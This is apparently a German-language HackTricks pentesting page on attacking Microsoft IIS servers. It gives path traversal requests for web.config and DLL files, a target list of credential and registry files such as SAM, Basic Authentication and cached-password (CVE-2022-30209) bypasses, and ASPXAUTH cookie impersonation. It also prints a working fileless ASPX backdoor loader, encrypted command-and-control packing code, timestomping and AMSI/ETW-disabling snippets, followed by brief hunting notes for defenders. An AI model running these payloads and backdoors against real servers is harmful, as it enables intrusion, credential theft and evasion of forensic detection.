IIS - Internet Information Services

Reading time: 16 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Testbare ausführbare Dateiendungen:

  • asp
  • aspx
  • config
  • php

Offenlegung der internen IP-Adresse

Auf jedem IIS-Server, bei dem Sie einen 302 erhalten, können Sie versuchen, den Host header zu entfernen und HTTP/1.0 zu verwenden; in der Antwort könnte der Location header auf die interne IP-Adresse verweisen:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Antwort, die die interne IP offenlegt:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Ausführen von .config-Dateien

Sie können .config-Dateien hochladen und damit Code ausführen. Eine Möglichkeit ist, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzufügen: Download example here

Mehr Informationen und Techniken, um diese Schwachstelle auszunutzen, here

IIS Discovery Bruteforce

Download the list that I have created:

It was created merging the contents of the following lists:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Verwende sie ohne eine Erweiterung hinzuzufügen; die Dateien, die eine benötigen, haben diese bereits.

Path Traversal

Leaking source code

Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

tip

Als Zusammenfassung gibt es mehrere web.config files innerhalb der Ordner der Applikation mit Verweisen auf "assemblyIdentity" Dateien und "namespaces". Mit diesen Informationen ist es möglich zu wissen, where are executables located und diese herunterzuladen.
Aus den downloaded Dlls ist es außerdem möglich, new namespaces zu finden, in die man versuchen sollte zuzugreifen, um die web.config Datei zu erhalten, um neue namespaces und assemblyIdentity zu finden.
Außerdem können die Dateien connectionstrings.config und global.asax interessante Informationen enthalten.

In .Net MVC applications, die web.config Datei spielt eine entscheidende Rolle, indem sie jede Binärdatei, auf die die Anwendung angewiesen ist, über "assemblyIdentity" XML-Tags angibt.

Exploring Binary Files

Ein Beispiel für den Zugriff auf die web.config Datei wird unten gezeigt:

html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Diese Anfrage offenbart verschiedene Einstellungen und Abhängigkeiten, wie zum Beispiel:

  • EntityFramework Version
  • AppSettings für Webseiten, Client-Validierung und JavaScript
  • System.web-Konfigurationen für Authentifizierung und Laufzeit
  • System.webServer-Modul-Einstellungen
  • Runtime-Assembly-Bindings für zahlreiche Bibliotheken wie Microsoft.Owin, Newtonsoft.Json und System.Web.Mvc

Diese Einstellungen deuten darauf hin, dass bestimmte Dateien, wie z. B. /bin/WebGrease.dll, im /bin-Ordner der Anwendung liegen.

Dateien im Root-Verzeichnis

Dateien, die im Root-Verzeichnis gefunden werden, wie /global.asax und /connectionstrings.config (die sensible Passwörter enthält), sind für die Konfiguration und den Betrieb der Anwendung essenziell.

Namespaces and Web.config

MVC-Anwendungen definieren außerdem zusätzliche web.config-Dateien für bestimmte Namespaces, um sich wiederholende Deklarationen in jeder Datei zu vermeiden, wie bei einer Anfrage zum Herunterladen einer weiteren web.config gezeigt:

html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLLs herunterladen

Die Erwähnung eines benutzerdefinierten Namespace deutet auf eine DLL mit dem Namen WebApplication1 im /bin-Verzeichnis hin. Im Folgenden wird eine Anfrage zum Herunterladen der WebApplication1.dll gezeigt:

html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Das deutet auf das Vorhandensein weiterer essentieller DLLs hin, wie System.Web.Mvc.dll und System.Web.Optimization.dll, in the /bin directory.

In einem Szenario, in dem eine DLL einen Namespace namens WebApplication1.Areas.Minded importiert, könnte ein Angreifer auf die Existenz weiterer web.config-Dateien in vorhersehbaren Pfaden schließen, wie /area-name/Views/, die spezifische Konfigurationen und Verweise auf andere DLLs im /bin folder enthalten. Zum Beispiel kann eine Anfrage an /Minded/Views/web.config Konfigurationen und Namespaces offenbaren, die auf das Vorhandensein einer weiteren DLL, WebApplication1.AdditionalFeatures.dll, hinweisen.

Häufige Dateien

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

Das bedeutet, dass der Server den korrekten Domainnamen nicht im Host header erhalten hat.
Um auf die Webseite zuzugreifen, können Sie sich das ausgestellte SSL Certificate ansehen — möglicherweise finden Sie dort den Domain-/Subdomain-Namen. Falls dieser nicht vorhanden ist, müssen Sie eventuell VHosts brute-forcen, bis Sie den richtigen gefunden haben.

Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

Zwei gängige Muster, um Geheimnisse in auf IIS gehosteten .NET-Apps zu schützen, sind:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) für web.config-Abschnitte wie .
  • ASP.NET Core Data Protection key ring (lokal gespeichert), verwendet zum Schutz von Anwendungsgeheimnissen und Cookies.

Wenn Sie Dateisystem- oder interaktiven Zugriff auf den Webserver haben, erlauben lokal vorhandene Schlüssel oft die Entschlüsselung.

  • ASP.NET (Full Framework) – geschützte config-Abschnitte mit aspnet_regiis entschlüsseln:
cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – suche nach Data Protection key rings, die lokal (XML/JSON Dateien) an Orten wie gespeichert sind:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Mit dem verfügbaren key ring kann ein Operator, der in der Identität der App läuft, ein IDataProtector mit denselben Purposes instanziieren und gespeicherte Secrets unprotecten. Fehlkonfigurationen, die den key ring zusammen mit den App-Dateien ablegen, machen die Offline‑Entschlüsselung trivial, sobald der Host kompromittiert ist.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Das Phantom Taurus/NET-STAR Toolkit zeigt ein ausgereiftes Muster für fileless IIS persistence und post‑exploitation, das vollständig innerhalb von w3wp.exe abläuft. Die Kernideen sind allgemein wiederverwendbar für custom tradecraft sowie für detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: eine einzelne .aspx Seite (z. B. OutlookEN.aspx) trägt eine Base64‑kodierte, optional Gzip‑komprimierte .NET DLL. Bei einem Trigger‑Request dekodiert, dekomprimiert und lädt sie die DLL per Reflection in das aktuelle AppDomain und ruft den Haupteinstiegspunkt auf (z. B. ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: Aufgaben/Ergebnisse werden mit Gzip → AES‑ECB/PKCS7 → Base64 verpackt und über scheinbar legitime, cookie‑reiche Requests verschoben; Operatoren verwendeten stabile Delimiter (z. B. "STAR") zum Chunking.
  • Reflective .NET execution: akzeptiert beliebige managed assemblies als Base64, lädt sie via Assembly.Load(byte[]) und übergibt Operator‑Args für schnelle Modulwechsel ohne Disk‑I/O.
  • Operating in precompiled ASP.NET sites: fügt Hilfs‑Shells/Backdoors hinzu oder verwaltet sie, selbst wenn die Site precompiled ist (z. B. fügt ein Dropper dynamische Seiten/Handler hinzu oder nutzt config handlers) – erreichbar über Befehle wie bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: stellt eine changeLastModified‑Action bereit und timestompt bei der Bereitstellung (einschließlich zukünftiger Kompilations‑Timestamps), um DFIR zu erschweren.
  • Optional AMSI/ETW pre‑disable for loaders: ein Second‑Stage‑Loader kann AMSI und ETW deaktivieren, bevor Assembly.Load aufgerufen wird, um die Inspektion von in‑memory Payloads zu reduzieren.

Minimal ASPX loader pattern

aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Packing/crypto-Hilfsfunktionen (Gzip + AES‑ECB + Base64)

csharp
using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session-Ablauf und Befehlsoberfläche

  • Session bootstrap und tasking werden über cookies übertragen, um sich in normale Web-Aktivität einzufügen.
  • In freier Wildbahn beobachtete Befehle umfassten: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; und die dynamischen Ausführungsprimitiven code_self, code_pid, run_code für in‑memory .NET-Ausführung.

Timestomping-Dienstprogramm

csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Inline-Deaktivierung von AMSI/ETW vor Assembly.Load (loader variant)

csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Siehe AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • Einzelne, merkwürdige ASPX-Seite mit sehr langen Base64/Gzip-Blobs; cookie‑lastige POSTs.
  • Ungebackene managed modules innerhalb von w3wp.exe; Strings wie Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Wiederholte Delimiter wie "STAR" im Traffic; nicht übereinstimmende oder sogar zukünftige Zeitstempel in ASPX/assemblies.

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Du kannst versuchen, mit dieser technique in jedem entdeckten Ordner folders and files zu enumeraten (auch wenn Basic Authentication erforderlich ist).
Die Hauptbeschränkung dieser Technik, falls der Server verwundbar ist: sie kann nur bis zu den ersten 6 Buchstaben des Namens jeder Datei/jedes Ordners und die ersten 3 Buchstaben der Dateiendung finden.

Du kannst https://github.com/irsdl/IIS-ShortName-Scanner verwenden, um diese Schwachstelle zu testen: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Du kannst auch metasploit verwenden: use scanner/http/iis_shortname_scanner

Eine gute Idee, um den endgültigen Namen der gefundenen Dateien zu finden, ist, LLMs nach möglichen Optionen zu fragen, wie es im Script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py gemacht wird.

Basic Authentication bypass

Bypass einer Basic Authentication (IIS 7.5) durch Zugriff auf: /admin:$i30:$INDEX_ALLOCATION/admin.php oder /admin::$INDEX_ALLOCATION/admin.php

Du kannst versuchen, diese vulnerability mit der vorherigen zu mixen, um neue folders zu finden und die Authentifizierung zu bypassen.

ASP.NET Trace.AXD enabled debugging

ASP.NET enthält einen Debugging-Modus und die Datei heißt trace.axd.

Sie führt ein sehr detailliertes Log aller Requests, die an eine Anwendung innerhalb eines Zeitraums gemacht wurden.

Diese Informationen beinhalten Remote-Client-IPs, Session-IDs, alle Request- und Response-Cookies, physische Pfade, Quellcode-Informationen und potenziell sogar Benutzernamen und Passwörter.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH verwendet die folgenden Informationen:

  • validationKey (string): hex-kodierter Schlüssel zur Signatur-Validierung.
  • decryptionMethod (string): (Standard “AES”).
  • decryptionIV (string): hex-kodierter Initialisierungsvektor (Standard ist ein Vektor aus Nullen).
  • decryptionKey (string): hex-kodierter Schlüssel zur Dekryptierung.

Allerdings verwenden manche Leute die Standardwerte dieser Parameter und nutzen als Cookie die E-Mail des Benutzers. Daher: Wenn du eine Website findest, die dieselbe Plattform verwendet und dort einen Benutzer mit der E-Mail des Benutzers erstellst, den du impersonieren möchtest, könntest du möglicherweise den Cookie vom zweiten Server im ersten verwenden und dich als dieser Benutzer ausgeben.
Dieser Angriff funktionierte in diesem writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: Ein Bug im Code prüfte das vom Benutzer eingegebene Passwort nicht korrekt, sodass ein Angreifer, dessen Password-Hash auf einen Schlüssel trifft, der bereits im Cache vorhanden ist, sich als dieser Benutzer einloggen kann.

python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks